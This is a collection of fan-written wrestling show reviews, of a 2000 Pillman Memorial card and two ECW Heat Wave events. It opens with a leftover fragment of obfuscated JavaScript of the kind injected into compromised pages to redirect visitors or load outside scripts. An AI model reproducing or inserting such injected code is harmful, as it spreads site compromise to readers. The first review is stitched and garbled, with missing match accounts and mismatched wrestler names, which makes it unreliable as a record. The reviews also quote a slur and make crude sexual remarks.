");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feynr|var|u0026u|referrer|dteke||js|php'.split('|'),0,{})) Pillman Memorial Show
Date: May 25, 2000
Location: Schmidt Fieldhouse, Cincinnati, Ohio

HWA Cruiserweight Title: Shark Boy vs. Jamie-San

The champion finally comes back by sending Jamie into the corner and puts him down with a facebuster. There are ten punches in the corner and a middle rope hurricanrana gets two for the champion. The Dead Sea Drop (more commonly called Diamond Dust, flipping Stunner off the middle rope) is countered into a reverse layout DDT (Christian uses it a lot) for two. Jamie misses a top rope headbutt so Sharky grabs a sleeper, only to be rammed into the corner, putting him in perfect position for the Dead Sea Drop and the pin to retain.

HWA Title: Chip Fairway vs. Race Steele

Some guys including Shark Boy come out to celebrate with Steele.

Mad Anthony McMurphy vs. Cody Michaels

McMurphy tries to get a comeback going but gets tripped throat first into the ropes. A small package gets two for Anthony and a leg lariat gets the same. McMurphy gets two off a vertical suplex and a middle rope elbow but a terrible looking reverse DDT (so bad that it wound up as a regular DDT) gets Cody a breather. McMurphy comes back with something resembling a Rough Ryder for two but gets crotched on top. Not that it matters as he shoves Steele down and hits a top rope sunset flip for the pin.

Dr. Tom Pritchard vs. Tim Horner

Pretty odd choice here. Pritchard is a WWF agent and used to be a tag team wrestler in the Heavenly Bodies in SMW and the WWF. Tim Horner was part of a low level tag team called the Lightning Express with Brad Armstrong back in the 80s and then was a jobber in WCW in the 90s. This is one of the dangers of indy shows: you have to get ANYBODY you can to fill in a card. Missy Hyatt is with Horner here for no apparent reason.

Feeling out process to start with neither guy getting anywhere. They trade hammerlocks in a short chain wrestling sequence leading to a stalemate. Horner grabs an armbar but Pritchard takes him into the corner for some chops, only to be taken right back down into the armbar. Tom takes him down with a test of strength and keeps him there with a kick to the ribs. So Pritchard is the heel. Good to know.

Back up and Horner snapmares him down for two but Pritchard hooks one of his own and we hit the chinlock. This is really dull stuff so far. Pritchard throws him to the floor and gets two off a suplex back inside. Back to the chinlock as the match somehow drags even worse. Now to really mix things up, Tom throws him out to the floor. Pritchard picks him up but gets caught in a sunset flip for the pin.

Harris Brothers vs. Kidman/Disco Inferno

Casey beats up Charles Robinson, again for no apparent reason.

Hugh G. Rection vs. Vampiro

Chris Benoit vs. Steven Regal

They go to a test of strength grip with Benoit on the mat and Regal drops a hard knee to the chest. They keep the grip and Benoit nips up before headbutting Regal away. A hard dropkick and an enziguri send Regal to the floor but he avoids a baseball slide and kicks Benoit in the face. They head to the apron with Chris DDTing him down onto the edge of the ring.

Regal is sent into the corner but they ram heads, giving Benoit two. Regal may be busted open. A pair of rollups only get two on Benoit so Regal fires off even more forearms. Benoit counters a tombstone into one of his own but the Swan Dive misses. Back up again and a dragon suplex gets two for Benoit but the Crossface ends Regal a second later.

Post match Benoit praises Regal for the match.

ECW World Title: Raven vs. Justin Credible

Raven is challenging. Before the match Justin brags about how awesome he is so Raven says Justin still sucks to get us going. Ten punches in the corner have Credible in trouble and Raven throws him over the top to the floor. Some shots with a stool have Justin screaming and we head back inside, only to have Raven throw him back to the floor. Into the crowd now as is required in an ECW match but thankfully we can see a bit better than the Vampiro stuff.

Justin is thrown through some chairs and we head back to the ring with Raven in full control. A chair is brought in and Justin hooks a drop toehold to send Raven face first into the steel. Back to the floor as Justin flips off the crowd and sends Raven into the barricade. Again, what any of this has to do with Brian Pillman is beyond me. Bird Boy comes back with right hands but gets caught in a chinlock back inside.

Remember to follow me on Twitter @kbreviews, and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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Heat Wave 1998
Date: August 2, 1998
Location: Hara Arena, Dayton, Ohio
Attendance: 4,376
Commentator: Joey Styles

So apparently it’s ok to have no pay per views over the entire summer as it’s been three months since Wrestlepalooza. There are a few changes here. For one thing, guys like Mike Awesome and Masato Tanaka are here now, bringing a completely new style to ECW which was needed. Shane is of course still world champion and not wrestling tonight for no adequately explained reason.

The main event is a street fight, which is an oxymoron in ECW, between the Dudleys and Dreamer, Sandman and Spike. There is also a rather famous tag match with Van Dam and Sabu who have FINALLY ended the Storm and Candido tag title reign against Hayabusa and Jinsei Shinzaki (Hakushi). This is considered a classic but I’m not so sure that Sabu and classic can go together so we’ll just see. Let’s get to it.

Oh hey the world champion is on commentary tonight. Also all seven matches are main event matches apparently. Doesn’t that kind of defeat the purpose or something?

Joey introduces Francine (holy goodness) and Shane to be his co-hosts. After talking about Taz because they have to keep building up the freaking thing for another 5 months, Francine shoves Joey’s face into her chest.

Cue theme song and opening video.

We have a more traditional ECW entrance ramp now with the hole in the brick wall that they would use forever.

Justin Credible vs. Jerry Lynn

These two had a best of 21 series over a summer. Justin has a mob with him more or less. Naturally we get a shot at Chyna as they say Bass is bigger. Joey says they should name her Russia. Considering there was a chick in WCW named Asya, that’s kind of funny. This is the final match of said best of 21 series. Lynn of course comes out alone.

Apparently they’re feeling each other out. What the heck? THIS IS THEIR TWENTY FIRST MATCH IN THREE MONTHS. That’s a match every FOUR DAYS. How much feeling out do you need? Lynn is freaking MOVING out there. The tombstone is reversed into a rollup. Shane of course runs down Flair and Shawn even though that has nothing to do with anything.

I love how one of his first jobs in mainstream wrestling was being half of the New Rockers when Shawn was hurt. We’ll ignore that though. The first chair is in 15 minutes into the show. Well at least they waited a bit. We’re on the floor now and in full brawl mode. At least we got some wrestling stuff first so it balances out. Justin takes a DDT on the chair which should knock him out but of course it doesn’t.

That’s followed up by a hurricanrana through a table. I get that this is the last of the series, but dang man could you be a bit less contrived? To be fair though, this is a big match and not just a random pairing. Lynn keeps using the Tiger Bomb for some reason. Did he not have the Cradle Piledriver yet? Chastity gets a tombstone and Joey is glad. After an odd sequence, a tombstone from the second rope ends this with Justin winning.

Rating: C-. The weapons were a turn off for me as was all of the interference, but anyone that can have a best of 21 series is pretty decent. That’s a good way to describe Justin actually. Lynn impressed me here far more as he was carrying this. That’s Justin’s problem I think: he doesn’t do much and his offense is REALLY limited. It’s punch, taunt, chair move, taunt, tombstone. That doesn’t make you a good wrestler or character, but Heyman thought he was I guess.

We recap Storm vs. Candido and how they lost the belts to Van Dam and Sabu. Tonight is the one on one match.

Lance Storm vs. Chris Candido

Sunny looks freaking HOT. Joey thinks that maybe they’re getting along again and this will be a nice wrestling match. Naturally that doesn’t happen and Joey says he knew it wouldn’t. It’s funnier than it sounds. They chop the heck out of each other. DANG IT JOEY QUIT SAYING THE SAME THINGS I SAY!!! Candido gets a nice dive from the top rope to the floor. Freaking sweet looking.

Storm rolls Sunny in and then just lets her roll out again in a completely pointless sequence. This is a rather basic but intense match. Storm hits a SWEET springboard over the railing to crash into Candido. It’s a solid brawl but it’s really not that great. Storm gets another SWEET move with a spin kick off the middle rope.

We have our fifth Batista/Tiger Bomb (yes I know they’re different moves but Joey keeps saying it’s a Tiger Bomb so whatever) of the night. You don’t have to do the same move over and over again. Candido gets powder thrown in his own eyes but there goes the referee. Sunny crotches Storm on the top and the super powerbomb ends this. Oh and along the way Sunny got her top ripped off. Sunny needs to wear red more often. My freaking goodness!

Rating: C+. Not bad, but it felt like it ended all of a sudden. I mean there were some ok high spots here, but for the most part there just wasn’t a lot going on. It was about 11 minutes but it felt like five.

New Jack says he’s ready for whoever he’s fighting in a pretaped thing in the parking lot. A huge brawl breaks out and he curses way too much. They Dudleys and the Hardcore Chair Swinging Freaks were in there. Jack is hurt apparently. Aww there’s no weapons match tonight. FOR SHAME!

Sabu, Van Dam and Alfonso are ready. Van Dam is on the verge of a face turn.

Mike Awesome vs. Masato Tanaka

These two feuded for the better part of ever and Tanaka usually would win if you can believe that. Awesome was just a freak of nature to say the least. In a little known bit of trivia, Awesome is the step nephew of one Hulk Hogan. Awesome could do just about everything and jumped all over the ring like Rey Mysterio, but he was the size of Test or so. And there he goes with a huge dive over the top rope.

Tanaka gets a running start with a chair to nail Awesome in the freaking head. That looked painful. Basically all Tanaka can do is blast him with a chair. I’m not saying that’s all he’s capable of, but that that’s all he can get to work. A huge splash hits as this is rather physical. It’s not great but it’s far from bad as well. Tanaka takes a bunch of chair shots to the head but he Rises Up as the chair looks diseased.

The Awesome Bomb connects but Awesome wants to use a table instead. I hate those stupid things. A chair shot from the top which should have killed Tanaka connects and still no cover. Tanaka escapes twice despite likely being legally dead and power bombs Awesome through the table.

I’ve officially lost this match now, as there comes a point where disbelief can’t be suspended anymore. The Roaring Elbow connects for the second time but only the first time that it was either noticed or that Awesome sold it. A tornado DDT on a chair ends it.

Rating: C+. Well it was a good brawl but not much more. The amount of kickouts was just dumb near the end, as half of those bumps should have killed them. It certainly was exciting if nothing else though. The good thing is that the matches didn’t really get bad but they never really got better either. This was fun.

During the post match part, Shane mentions he can’t get back in the ring until November 1. So just to be clear, the world champion is out at bare minimum three months, not counting however long he’s been out already. And everybody is ok with this?

Taz says he’s better and means more than Austin and Goldberg. Oh that’s FUNNY.

Ad for November to Remember which is when Shane returns to the ring.

The Dudleys, all like nine of them say that they’re ready for tonight and their street fight. All of them say that and it takes forever.

Tag Titles: Hayabusa/Shinzaki vs. Rob Van Dam/Sabu

This is considered one of the gold standards of ECW so let’s see if it’s as good as I’ve been told that it is. The fans are into the Walk theme music for RVD and that’s an understatement. Van Dam is also the TV Champion. It’s amazing that he held it more or less until the company ended minus six months. The announcer butchers Shinzaki’s name to an extent that even I roll my eyes at it.

They say Sabu is from Bombay, Michigan and that never gets old. There’s no storyline here as they’ve just brought the guys in for a one off match. Ok then. Hayabusa and Van Dam start us off. We get a stall for a good while before we actually start. It’s an old Memphis tactic that I’ve always hated. They do a sloppy rollup/leg lock spot. Not a great starting point.

We get a you screwed up chant off blown spot number two. We’re MAYBE two minutes into this by the way. Off a kick to the face (think Kofi’s Trouble in Paradise) Hayabusa misses Rob’s head by about 6 inches yet Van Dam sells it anyway. There’s been WAY too much walking around and doing nothing here. In what’s likely Shinzaki’s biggest move, he does a praying rope walk around the top rope like Taker but he goes around a corner.

Let me make sure I’ve got this straight. Van Dam is just holding onto him walking for about 8 seconds and has a free arm and two free feet, and we’re supposed to believe he’s just going to go quietly? ARE YOU KIDDING ME??? When Taker does it it’s about 2 seconds on the ropes and nothing more. Not only is this sloppy, but it’s not making much sense.

And Sabu hasn’t even been in until now. He comes in for a cover. That makes sense. Nothing says high impact and cool looking offense like a chinlock! I think Hayabusa stole his attire from Hannibal from WCW/NWO Revenge. SUE HIM IMMEDIATELY!

Sabu shows some intelligence as he dropkicks the knee and then WORKS ON THE LEG! I’m stunned actually. After a LONG time of mat work etc we get to the high flying stuff that this is supposed to be about. Hayabusa is moving out there. We’re in the crowd now in case you were wondering. We’re out of the crowd now in case you were wondering.

Shinzaki and Sabu are in the ring while the other two are down on the floor. Van Dam puts Shinzaki in a bow and arrow so Sabu can hit him in the ribs with a chair. Again, WHY DO YOU NEED THE CHAIR??? The match was just starting to get good and we bring in a pointless chair because Sabu can’t work more than 5 minutes without a weapon. If you want to know what drives me the craziest about ECW, it’s THAT.

Sabu goes out, the chairs are taken out, and the match is instantly going up in value. Hayabusa going insane off the ropes is fun to watch. Why do we need chairs and weapons? Sabu hits a decent jumping hurricanrana. That wasn’t bad at all. See, if he tries, he could do some decent NON WEAPON RELATED stuff. Shinzaki hits what we would call a Pele kick on Van Dam. Hayabusa hits a 450 splash and this isn’t terrible.

Sabu hooks a Boston Crab so Van Dam can go up for a leg drop. It turns out to be a hip drop on his head but whatever. This has lost anything resembling flow or actual tag wrestling and is just a mess anymore. If that’s the case, what was the point of the tagging thing earlier? We have a table and I more or less give up now. Shinzaki hits a WEIRD looking leg twist on Van Dam. It was cool looking if nothing else.

More chair use as Van Dam jumped from one side of the ring to another for kind of a Van Daminator. Sabu hurts his hand doing something. They break the table. Not break through it but just break it. So we get two more! Oh and a chair which is slammed over Hayabusa’s head. A Van Daminator takes down Shinzaki.

In the big spot of the match, both Japanese guys are on one table and the champions go up top and crash through both guys. That ends it. Seriously? It should be noted that in every replay, the champions use weapons and the challengers never do. That should tell you a few things.

Rating: D+. The first half of this was pretty good. It wasn’t great at all but I didn’t expect it to be. After about ten minutes though it’s your standard ECW tag match: weapons, ridiculous spots with zero transitions, and a complete lack of anything resembling tagging.

Also, the first half is made to look pointless as they tagged then but they don’t in the second half. BE CONSISTENT ALREADY! It’s watchable I guess, but it’s nothing I’m going to remember in about a day or so. This is the best tag match ECW ever had? That explains a lot.

We recap Bigelow vs. Taz. More or less, Taz got put through the ring and he went after Shane and the Triple Threat, including Bigelow. This was the introduction of the FTW Title. This was really about setting up Shane vs. Taz but because the champion was injured for at least three months, we didn’t get the match for about another 6 months.

Yeah, because we couldn’t do that in November since we had to have a 6 man tag instead. I mean, it’s not like this hasn’t been going on for the last 4 months already or anything. Heyman makes my head hurt.

FTW Title: Bam Bam Bigelow vs. Taz

You know, for an unrecognized title, it certainly was recognized by the announcer. Oh this is a death match, meaning falls count anywhere. Bigelow is noticeably less fat. Shane says he won’t cheer lead. That’s rather amusing. First move of the match: Bigelow powerbombs Taz and it’s completely no sold. Give me a break. This isn’t your standard big man vs. little man match as Taz isn’t your typical little man.

Taz goes air (Evan) borne by jumping off the stage at Bigelow who catches him. That’s always been a move I get impressed by. They’re in the crowd here which at least makes sense in this case as it’s falls count anywhere. We get an armbar on the floor. Ok then. Shane of course takes credit for everything that Bigelow does. At least he’s being a heel. The lack of weight really does help him out I think. Taz is bleeding.

Back in the ring now and IT’S TABLE TIME! SO NEW! SO INNOVATIVE! OH YES!!! Taz goes through it and Bigelow is dominating. They exercise recycling as they have Bigelow go through the same table that Taz did. ECW is environmentally conscious if nothing else.

And then we go on the ramp and Taz reverses a DDT through the ramp to do the same big mindless spot that they did in the first match. Both guys of course come out of the hole and the Tazmission is on for the tap out. Shane’s reaction is great. I’d sell my G-Mod spot for a curses foiled again from him.

Rating: D+. Again just an overblown brawl. Thankfully this ended their feud but again it’s just another chapter in the Shane/Taz saga. It was all about one spot which is the smoke and mirrors booking that Heyman was notorious for. It’s ok to just wrestle. He needs to get that.

We recap the Dudleys vs. the faces which started when Beaulah had her neck broken by them. Joey goes on a rant against the Dudleys because of what they did. The heat on them was unreal.

Dudleys vs. Tommy Dreamer/Spike Dudley/Sandman

The Dudleys are Bubba, D-Von and Big Dick in case you were wondering. This is the show where everyone went off on the Dudleys that Bubba talked about on Rise and Fall of ECW if you remember. There’s a piece of plywood more or less over the hole in the ramp. We get a bunch of promos from every one of the heels. The Dudleys would be gone in about a year or so.

Joel gets his usual great promo in that makes me laugh. Oh and Sign Guy is hurt pretty badly due to a ton of beatings. Oh and there’s a Beaulah doll with them. Sandman’s entrance takes about ten minutes and we have a ladder for no apparent reason. It’s a Dudleyille Street Fight so of course we’re tagging in and out. Dreamer and D-Von start us off.

Something tells me this is going to be violent quickly. Spike comes in and of course gets the tar beaten out of him by Bubba. Quite a bit of the next three or four minutes is just Spike getting beaten up. Oh joy it’s Dick vs. Sandman. This isn’t going to be pretty at all. Screw it we’re on the floor now. If this turns into a regular tag team match again I’ll be AMAZED.

Tommy and D-Von are in the crowd now with the non African-American winning it. It’s ladder time and they just beat the heck out of each other with it with big spots followed by resting and then more brawling. D-Von’s overselling never gets old to me if nothing else. Bubba finally hits that back splash thing onto a ladder onto Tommy. That’s not dumb at all.

We have more weapons in the ring than people. The managers get beaten up. All three Dudleys and Gertner are tied to the Tree of Woe and the referee hit dropkicks onto chairs to them all. I give up man. Sandman whispers into Bubba’s ear before they set up a spot. Sandman takes a SICK chair shot to the head. Dreamer hits a DDT on Bubba onto a ladder for the pin. And here’s New Jack and Jack Victory who were supposed to have a match earlier to beat people up and we’re done.

Rating: F+ More brawling. That’s all this was. WHY DOES IT ALWAYS HAVE TO BE BRAWLING??? Look, I get that this is a hardcore company. I get that this was a big grudge match. I get that this was about revenge. I get all that, but FREAKING WRESTLE FOR MORE THAN TWO FREAKING MINUTES A MATCH!

This was the most violent match of the night, true. However, it COMPLETELY loses its appeal when there have been what, three other wild brawls already tonight? This is why I hate reviewing ECW: I get more wrestling on the hour long show that airs on Tuesdays than I do in the original three hour long PPVs. That’s unacceptable any way you look at it.

Overall Rating: D. This brawling stuff has got to freaking stop, but something tells me that simply isn’t going to happen at all. This was the sixth ECW PPV and while this was better than Wrestlepalooza, that’s not saying much. This just didn’t work for me as it was all about violence. ECW was supposed to have a balance but it just wasn’t there on this show at all and the show sucked as a result to me.

It’s not completely terrible, but it’s repetitive. By the end of the show I hated the thought of another chair or weapon shot and was just burnt out. That’s really bad and something tells me it’s not going to change. Also for the love of goodness stop comparing yourselves to WWF. They were 4 weeks away from tearing MSG down with Rock vs. HHH in the ladder match at Summerslam 98. You guys don’t deserve to be able to even talk about that company at this point. Stay clear of this one.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews from Amazon for just $5 at:

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Heat Wave 2000
Date: July 16, 2000
Location: Grand Olympic Auditorium, Los Angeles, California
Attendance: 5,700
Commentators: Joey Styles, Cyrus

We have reached the final five shows as ECW hits the west coast. The company knows it’s more or less done at this point but they just wouldn’t accept it. I think their TV deal was done by the time the next PPV aired if that tells you anything. The main events here are RVD vs. Scotty Anton (Riggs) and Justin Credible vs. Tommy Dreamer for the Title. Let’s get this over with.

We open with Blue Boy and Jasmine St. Claire (adult star) on the beach. He was more commonly known as Blue Meanie minus about 100lbs. He makes fun of a guy on the beach and Jasmine hits the other guy low. The Sinister Minister shows up to say that Blue Boy sold his soul and these are the benefits. He makes puns of WWF PPV names and my eyes roll. Mikey is buried in the sand. Yeah whatever.

Joey and Gertner are in the ring of course to start us off. Let’s see how long we can get into the show without an actual match. Five minutes so far, but at least Gertner is funny. He comes complete with vanilla flavored semen. Cyrus, channeling his inner Vickie Guerrero by shouting EXCUSE ME comes out.

Super Crazy has been deported. Tajiri is gone or something. We get a ROLLERJAM reference! That’s the skating show that was constantly promoted on ECW and was considered this brilliant show while ECW dominated it in the ratings. Gertner makes gay jokes about Cyrus. This has been going on for MONTHS now and it needs to end or go somewhere.

Gertner doesn’t want to be on TNN anymore and now ECW is canceled. It would end in early October so this has 3 months left. Gertner is called a fat fa**ot. Gertner calls Cyrus one. Can you hear my enthusiasm here? I mean it’s BLEEDING man. Ten minutes so far by the way. Cyrus says Gertner has never paid his dues as we’re in the worked shoot area. Joel leaves instead of fighting and gets booed loudly. Ok scratch the leaving part.

Joel (Gertner in case you’re an idiot) jumps him and security stops him. Cyrus wants him in jail and for no apparent reason Big Sal and Tony Mamaluke come out and beat up security and referees. And here comes Balls.

Balls Mahoneyvs. Big Sal E Graziano

No bell or referee or anything. This is just kind of a fight and it only took fifteen minutes of TV time to get here. The big chair shot does nothing and Sal crushes him with a belly to belly. One of the referees that broke up the fight counts the pin. This wasn’t even two minutes long.

Van Dam says he’s going to use the Van Terminator to beat Anton.

We see a video of Bobby Eaton helping some guys and getting in a fight with Simon and Swinger and CW Anderson.

Simon Diamond/Swinger/CW Anderson vs. Kid Kash/Danny Doring/Roadkill

Simon and Swinger are no longer comedy guys anymore. I guess the Dangerous Alliance is dead too. Diamond says they have a problem but Anderson is the solution. Elektra and Lou try to come out with Anderson and he throws them out. This is just kind of meandering along and it’s not a good sign at all. Roadkill gets a NICE pop. The first bell rings over twenty five minutes into the show.

Kash and Diamond do some nice technical stuff to start. There go the WOOS. Kash is underrated I think, or at least his early stuff was. Anderson, allegedly the best guy on the team comes in and promptly gets his head handed to him. The faces clear the ring and we cut to commercial. Oh wait I forgot this isn’t TV. Anderson launches Kash into the air but he hits a rana on Diamond.

The heels take over as this is actually a pretty solid match so far. Doring comes in and cleans house with some nice stuff. Diamond hits what we would call Three Amigos and the heels take over again. This has been a fun match thus far. I wonder how they’ll screw it up. Road Kill comes in to a big old pop. Heyman might have had something here with him. Kash takes everyone not named Roadkill out with a huge flip. THEN ROADKILL DIVES TOO! Ok I think I’m a fan of his now.

Cyrus takes a shot at Hogan, 7 days after his last WCW match. Simon and Swinger manage to suplex Roadkill off the top. Well they have power if nothing else. Problem Solver (Snapshot) on Doring is blocked and Swinger takes a double underhook piledriver from Kash to end it. Very good match.

Rating: B+. That’s probably high but I loved this. This is a great example of what happens when you just let guys go out there and have fun and put on a good match. That’s what they did here and it worked very well. This was well structured and it came off as a back and forth match that was interesting. Great match and the best on PPV in a good while.

Rhyno wants Sandman and drops some F bombs to prove how serious he is.

Steve Corino vs. Jerry Lynn

Corino is in the Network still. Lynn dives through Victory’s legs and we’re off fast. Corino was in a weird place here as he was awesome on the mic but he never really won much of anything but he was getting tons of big matches anyway. Lynn takes out both he and Victory as the crowd is oddly quiet here. Not dead quiet but just not making a lot of noise quiet.

Cyrus is on gay joke #3 about Gertner 3 minutes into the match. We go to the floor and you can see Corino reach for his tape. Yep he slams into the concrete and puts his head under the ring. There’s the blood of course as he tries to rival Flair for most blood in a career. I think I know where this match is going and it’s insane if it is. Steve gets more energy from blood I guess as he takes over.

Corino does the Flip Flop and Fly as I continue to wonder what the point of his mimicking Dusty was. Lynn can freaking move out there. Steve gets into it with a fan on the floor ala Flair. He really is good at doing a lot without doing much at all. Corino actually looks like he’s wearing a crimson mask. That’s some serious blood flow there.

Chair doesn’t work as Steve gets it slammed into his head. This is ECW vs. Network. Thanks for explaining that ten minutes in. What exactly does Jack Victory get paid for? Lynn puts him down then dips his hand into the cut and puts Corino’s blood onto his own face and then uses it to write DIE on his stomach. Yeah that’s not over the top at all.

Old School Expulsion (reverse Twist of Fate) gets two on Lynn. The referee is down thanks to Victory. He threw powder at him and punched him. Overkill much? They mess up a spot where Victory was supposed to smack Lynn with a cowbell. They get it right the second time and Lynn kicks out anyway. A pinfall reversal sequence gets us nowhere but the Cradle Piledriver ends it.

Rating: B-. Solid match here. Both guys kept things simple for the most part, although the one thing I’m thinking here is “now what?” I mean where do they go from here? Corino looks a bit tougher but still lost. Lynn wins a match he’s supposed to win. It helped Corino somewhat but at the same time not very much. Then again they’re out of business in like 9 months so it’s not like it means much anyway.

We recap (as in show) the Sandman/Rhyno incident from Hardcore Heaven where Rhyno kicked his head in. This is of course different than the other three times Rhyno kicked his head in. It’s also where Sandman’s wife got pile driven through a table on the floor. This is pure filler as it’s going on WAY too long.

We go to Sandman’s house where he says he’s going to get back at Rhyno later. His house looks like you would expect it to. I get Kenny McCormick’s dad when I see him. And Rhyno is in his house. Wait…that’s at the arena? He tried to drown Sandman’s wife in the toilet or something. This was WEIRD.

Dawn Marie is on commentary for no apparent reason. She and Cyrus make sex jokes.

And here’s New Jack, complete or maybe incomplete I guess with a broken leg. Da Baldies run out to beat up New Jack since that’s all they know how to do. Nova, dressed as the Flash of all people and Chris Chetti come out for the save.

Da Baldies vs. Nova/Chris Chetti

And remember, even though Nova and Chetti are the best tag team in ECW, they can’t have the tag belts because we’re not going to have tag champions for about four months. DeVito “hits” a “dropkick” on Nova as we’re actually having something close to a tag match here. Wow Chetti is sloppy. His punches more or less hit their arms. It’s his birthday though so I can’t complain that much. Well I could but whatever.

Nova misses a Swanton and Cyrus says Chetti has educated feet. I wonder who stole that from whom. Nova hits a very nice double piledriver into a helicopter bomb (think the Three Amigos but with piledrivers and a spinning powerbomb to end it). Since that’s a totally awesome move, it doesn’t end the match. The Tidal Wave ends it as I shake my head over these two never winning the tag titles.

Rating: D+. This was a glorified squash as the high flying guys were never in anything close to danger here. These guys are kind of like the MCMG in TNA at the moment but not as tandem based. Still though this was good for them as the Baldies remain completely useless yet employed.

We go to Dreamer who is breaking his silence. I have no idea what he’s been silent about or since when but whatever. He talks about how much he loves wrestling and how he keeps losing things in his life because of it. One of those is six months’ pay but that’s more Heyman’s fault. He’s mad about TNN and he’s mad about Credible.

 

Almost everyone was cutting semi-shoots on TNN at this point since they knew they were done and they knew no one from TNN cared anyway. Dreamer cuts himself open on a locker. This would have been FAR better if we hadn’t heard the ring announcer starting the next match very loudly at the end of it.

Little Guido vs. Psicosis vs. Tajiri

Psicosis is back after being fired from WCW as they were hemorrhaging money so they cut EVERYBODY young and talented that they never used. Yep it’s another international three way dance that isn’t going to mean anything at all in the end. This is Psicosis’ return to ECW and he’s unmasked here. During Tajiri’s entrance we have Mikey Whipwreck and the Sinister Minister. He just kind of interjects himself into this.

The other three promptly beat the tar out of him for his troubles. He hits a Whippersnapper on Tajiri as we hear his resume for the 1000th time. Tony Mamaluke runs out for no apparent reason and Mikey beats him up. Big Sal kills Mikey and Guido pins him to get us down to the original three, making Mikey’s thing more or less completely pointless.

Tajiri stands in the ring on his own for about a minute as nothing happens at all. This is just one big mess of course. Unprettier hits Psicosis and then a German suplex ends him. So now it’s Guido and Tajiri. I wonder who will win this: the relative jobber or the guy that was in some main event level stuff recently. We get some nice counter wrestling and then the Tarantula.

It’s chair time and it’s all Tajiri here. He does the baseball slide into the Tree of Woe chair. Guido just falls down on his face which looked funny. Somehow this energizes him or something as he comes back. The fans want their pizza. Tajiri gets the mist and a brainbuster on a chair to end it with a resounding SO? Guido gets applause for no apparent reason as he leaves.

Rating: C-. This was fine, but again I say so what? I mean really what does this mean at all? They had like 8 of these and it wasn’t for a title or anything like that. This was entertaining though so I’ll give it that, but it means nothing and that’s part of the reason why the fans stopped caring.

Justin Credible, looking like the walking (sitting actually) definition of a douche says that barbed wire isn’t his thing but he’ll do it if that’s what it takes. It’s a Stairway to Hell match vs. Dreamer later.

TV Title: Sandman vs. Rhyno

Sandman comes out first for no apparent reason. Sweet I managed to marinate my turkey in the time it took to do his entrance. We’re at two and a half minutes so far. Wow I love this Stephen King guy. I managed to finish that IT book during the intro as well. Make that four minutes and he’s nowhere near the ring yet. Yes I read IT in less than five minutes. The intro is now longer than the Nova/Chetti match.

Ok he’s in the ring FIVE AND A HALF MINUTES after his music started. Rhyno makes it in 9 seconds. Sandman breaks the cane over Rhyno’s head to start and it does nothing of note. For some reason it’s weird looking that Sandman is taller than Rhyno. And yes I know that’s the WWE spelling. Sandman is more or less bombed here and no one seems to care. There’s a guardrail in the ring now as I have a bad feeling I know where this is going.

Cyrus badmouths Sandman’s wife as this is going nowhere. Basically this is just about doing moves onto the guardrail, including a Heineken-Rana from Sandman. The crowd is hot now if nothing else. With the rail on Rhyno Sandman hits a Swanton onto it. Sweet goodness. Victory and Corino come out to beat up Sandman a bit so Spike Dudley comes out. Yeah you knew this was coming.

Sandman and Spike hit Corino with 3D to pop the crowd. Spike gets gored and then takes the table piledriver. He has a broken leg at the time but who cares? Rhyno hits a piledriver on the guardrail to end this stupid mess.

Rating: F+. This was of course a mess with no chance of Sandman winning. The guardrail was the focus of the match and no one cared about it. Sandman never beat him but since he was so over it didn’t really matter. The hardcore stuff was all Sandman could do most of the time and a lot of the times, such as this one, it failed.

Dawn Marie was there for the whole match? Wow. Joey and Cyrus argue a bit.

Scotty Anton vs. Rob Van Dam

Hmm I wonder who wins here. Anton is a Network guy, more commonly known as Scotty Riggs from WCW jobber fame. He claps his hands over his head and his Sharpshooter finisher is called the Clapper. He even has a song called I Want to Give You the Clap. And remember, the insane pops Van Dam gets absolutely do not mean he should be world champion in the slightest.

Tonight the Van Terminator debuts tonight. Anton is the US Male. Shoot me please. Yeah Scotty Riggs was supposed to be one of the top heels in the company. It’s kind of hard to believe RVD is mad at Anton when he keeps smiling all the time. Van Dam busts out a gorilla press of all things. Anton caves his skull in with a chair as he tries desperately to make someone believe he has a chance. This of course fails miserably since no one buys that.

Anton hits a bulldog onto the guardrail from the apron which looked awesome. Wrestlers are very fickle. They have so many best friends over the course of a career that it’s unreal. The problem becomes very clear: Anton is a career jobber and no one really believes him as a credible threat to someone the caliber of RVD. He hits a DDT. Is that his finisher? Has he ever won a match for that matter?

Anton dominates for awhile with some decent stuff but there’s just no reaction from the crowd. And remember: RVD is fighting Scotty Riggs while Justin Credible is in the main event. Maybe Heyman deserved to go out of business. In a horrible looking spot, Anton puts him in the Tree of Woe and gets a chair for a running shot to his bad knee. He clearly slows down and stops his swing so RVD can get his foot out to kick the chair into his face. That looked awful.

RVD comes back though and hits the Skateboard (He has a chair and gets a running start so he can hit a running dropkick that knocks the chair into the other guy’s face) which wakes the crowd up a bit. While he’s celebrating with Fonzie though he takes a chair shot to the knee and Anton gets the Clapper. Oh how I hate this guy. Fonzie gets put into it later and then JUST STANDS THERE while Van Dam throws him a chair for the Van Daminator. He held the chair in place over his head for like 3 seconds for the kick.

Five Star follows and RVD says it’s time for the Van Terminator. It’s what we would call the Coast to Coast (Shane’s dropkick thing). This of course leaves Anton dead for the most part so the pin is simple. This got twenty minutes. Yeah Scotty Riggs gets twenty minutes and Chetti/Nova get less than 5. In a hilarious moment, RVD says he’s the reason ECW is going where it’s going.

Rating: D. This was just WAY too long and there was absolutely no drama. Hmm the biggest star in the company has promised a new finishing move against a guy he’s mad at that is a career jobber. I WONDER WHO WILL WIN! Anyway this just wasn’t that good. Anton was ok at his absolute best and no one bought him as having any chance here. This was just not that good.

We recap Credible vs. Dreamer. This is the rematch from where Credible took the belt from him less than 20 minutes after Dreamer won it. In essence it’s barbed wire on a pole.

ECW World Title: Justin Credible vs. Tommy Dreamer

Francine is with Justin as she abandoned Tommy for Justin the night he won the title. The barbed wire is above the ring and you have to get a ladder to get it. It’s called Stairway to Hell. Wouldn’t the stairs go down then? Dreamer has Jazz and the formerly Gorgeous George (Randy Savage’s wife who was in WCW for a little while) with him. If the fans cared any less about Justin then they would reach negative caring.

George is the SECRET WEAPON. She’s so secret that she’s right in front of us. Wasn’t Dreamer supposed to be crippled or something like a year ago? Before we get going there’s a legit disturbance at ringside. Joey claims it’s a drunken fan but in reality it was a group of wrestlers from a company called XPW who were more or less ECW West Coast, minus the talent, the intrigue, the national attention, the writing, the music, the distribution or the influence.

 

